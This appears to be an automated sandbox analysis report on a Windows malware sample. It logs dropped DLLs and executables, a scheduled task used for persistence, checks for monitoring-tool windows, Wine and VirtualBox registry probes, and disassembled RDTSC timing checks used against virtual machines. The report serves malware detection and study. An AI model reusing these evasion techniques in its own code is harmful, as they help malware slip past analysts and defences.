Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\Documents\EHJKKKFIIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018623001\f5de50ddb2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	File created: C:\Users\user\AppData\Roaming\gdi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\py8tmzb[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C277C7 second address: C277F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DEh 0x00000007 jmp 00007F61453619DAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F61453619E2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2796B second address: C27971 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C27AB6 second address: C27ADF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61453619EFh 0x00000008 jg 00007F61453619DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B50D second address: C2B523 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6144D93ADEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B55C second address: C2B562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B562 second address: C2B586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6144D93AE7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B586 second address: C2B5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnc 00007F61453619E9h 0x0000000b popad 0x0000000c nop 0x0000000d mov ecx, dword ptr [ebp+122D3AE9h] 0x00000013 push 00000000h 0x00000015 call 00007F61453619D9h 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F61453619D8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B5C1 second address: C2B5E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b jmp 00007F6144D93AE9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B5E7 second address: C2B5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B5F6 second address: C2B5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B5FA second address: C2B621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F61453619DAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B621 second address: C2B6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edx 0x00000009 jmp 00007F6144D93AE2h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 pushad 0x00000015 jnl 00007F6144D93AD6h 0x0000001b jne 00007F6144D93AD6h 0x00000021 popad 0x00000022 pop eax 0x00000023 pop eax 0x00000024 add dword ptr [ebp+122D364Dh], eax 0x0000002a push 00000003h 0x0000002c jne 00007F6144D93ADCh 0x00000032 sub dword ptr [ebp+122D2A24h], ecx 0x00000038 push 00000000h 0x0000003a jmp 00007F6144D93ADBh 0x0000003f push 00000003h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F6144D93AD8h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 0000001Ch 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b xor dword ptr [ebp+122D38C3h], ebx 0x00000061 mov edi, dword ptr [ebp+122D28FCh] 0x00000067 push 709348CAh 0x0000006c jmp 00007F6144D93AE2h 0x00000071 add dword ptr [esp], 4F6CB736h 0x00000078 movzx ecx, di 0x0000007b lea ebx, dword ptr [ebp+1245F48Bh] 0x00000081 adc dx, BD2Bh 0x00000086 xchg eax, ebx 0x00000087 push eax 0x00000088 push edx 0x00000089 ja 00007F6144D93ADCh 0x0000008f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B6E6 second address: C2B6EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B6EC second address: C2B6FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F6144D93ADCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B72D second address: C2B73F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007F61453619D6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B73F second address: C2B744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B744 second address: C2B870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F61453619DDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jno 00007F61453619DCh 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 stc 0x00000018 pop edx 0x00000019 mov dword ptr [ebp+122D270Fh], edx 0x0000001f push 702C4225h 0x00000024 pushad 0x00000025 pushad 0x00000026 jp 00007F61453619D6h 0x0000002c jmp 00007F61453619E8h 0x00000031 popad 0x00000032 jo 00007F61453619E6h 0x00000038 jmp 00007F61453619E0h 0x0000003d popad 0x0000003e xor dword ptr [esp], 702C42A5h 0x00000045 jmp 00007F61453619E7h 0x0000004a push 00000003h 0x0000004c mov edx, 59BB6600h 0x00000051 push 00000000h 0x00000053 mov esi, dword ptr [ebp+122D25D5h] 0x00000059 mov edx, dword ptr [ebp+122D3C69h] 0x0000005f push 00000003h 0x00000061 mov edx, 33239300h 0x00000066 mov dword ptr [ebp+122D28AFh], ecx 0x0000006c push AF690CFAh 0x00000071 jmp 00007F61453619E2h 0x00000076 xor dword ptr [esp], 6F690CFAh 0x0000007d mov ecx, dword ptr [ebp+122D3C65h] 0x00000083 lea ebx, dword ptr [ebp+1245F494h] 0x00000089 call 00007F61453619E7h 0x0000008e mov ecx, dword ptr [ebp+122D3BC5h] 0x00000094 pop ecx 0x00000095 xchg eax, ebx 0x00000096 jmp 00007F61453619E8h 0x0000009b push eax 0x0000009c push eax 0x0000009d push edx 0x0000009e ja 00007F61453619EEh 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B950 second address: C2B955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B955 second address: C2B96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F61453619E8h 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F61453619D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2B96D second address: C2BA1E instructions: 0x00000000 rdtsc 0x00000002 je 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007F6144D93ADEh 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007F6144D93AE8h 0x00000024 pop eax 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F6144D93AD8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov ecx, ebx 0x00000041 push 00000003h 0x00000043 or dword ptr [ebp+122D2602h], edx 0x00000049 pushad 0x0000004a sbb si, F5F2h 0x0000004f cld 0x00000050 popad 0x00000051 push 00000000h 0x00000053 mov cx, DC7Ah 0x00000057 push 00000003h 0x00000059 mov edi, dword ptr [ebp+122D2577h] 0x0000005f call 00007F6144D93AD9h 0x00000064 jmp 00007F6144D93ADAh 0x00000069 push eax 0x0000006a pushad 0x0000006b jmp 00007F6144D93ADEh 0x00000070 pushad 0x00000071 js 00007F6144D93AD6h 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA1E second address: C2BA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA2E second address: C2BA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA32 second address: C2BA38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA38 second address: C2BA68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F6144D93AE3h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA68 second address: C2BA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA6C second address: C2BA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA70 second address: C2BA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61453619E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C2BA93 second address: C2BAD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnc 00007F6144D93AD6h 0x0000000f popad 0x00000010 popad 0x00000011 pop eax 0x00000012 jbe 00007F6144D93ADCh 0x00000018 and esi, dword ptr [ebp+122D3AA1h] 0x0000001e lea ebx, dword ptr [ebp+1245F49Fh] 0x00000024 adc cx, 2A17h 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F6144D93AE2h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B55 second address: C48B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B5D second address: C48B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6144D93AE2h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B83 second address: C48B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B87 second address: C48B91 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6144D93AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B91 second address: C48B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B97 second address: C48B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48B9D second address: C48BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48BA3 second address: C48BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C48E45 second address: C48E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F61453619D8h 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F61453619DEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
